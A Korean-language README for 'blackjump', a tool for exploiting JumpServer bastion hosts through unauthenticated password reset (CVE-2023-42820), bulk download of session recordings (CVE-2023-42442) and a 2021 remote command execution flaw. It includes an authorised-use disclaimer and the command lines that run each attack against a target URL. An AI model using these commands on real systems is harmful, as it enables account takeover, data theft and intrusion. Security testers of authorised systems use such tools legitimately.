blackjump

blackjump

중국어 | 영어

면책 조항: 본 도구는 합법적으로 승인된 기업 보안 구축 활동만을 대상으로 하며, 본 도구를 사용하여 검사를 수행할 때 해당 행위가 현지 법규를 준수하고 충분한 승인을 받았는지 확인해야 합니다. 승인되지 않은 대상에 대해 사용하지 마십시오.

본 도구를 사용하는 과정에서 불법 행위가 발생할 경우, 해당 결과에 대한 책임은 사용자 본인에게 있으며, 당사는 법적 책임을 포함한 어떠한 책임도 지지 않습니다.

JumpServer 배스천 호스트 종합 취약점 활용

• 인증되지 않은 임의 사용자 암호 재설정 (CVE-2023-42820)
• 인증되지 않은 원클릭 모든 작업 녹화 다운로드 (CVE-2023-42442)
• 인증되지 않은 임의 명령 실행 취약점 (RCE 2021)

설치

python3 -m pip install -r requirements.txt

사용 가이드

• CVE-2023-42820: 대상의 사용자 이름과 이메일을 알고 있으면 --user 및 --email 매개변수를 지정할 수 있습니다

python3 blackjump.py reset https://vulerability

• CVE-2023-42442: output/ 디렉토리의 <uuid4>.tar 파일을 jumpserver 플레이어로 재생하면 됩니다

python3 blackjump.py dump https://vulerability

e

• RCE

python3 blackjump.py rce http(s)://vulerability

• 도움말

python3 blackjump.py {reset,dump,rce} -h

참고

1. https://github.com/Veraxy00/Jumpserver-EXP (RCE 2021 취약점을 기반으로 일부 상황에서 명령 실행 실패 또는 자산 획득 불가 문제를 최적화했습니다)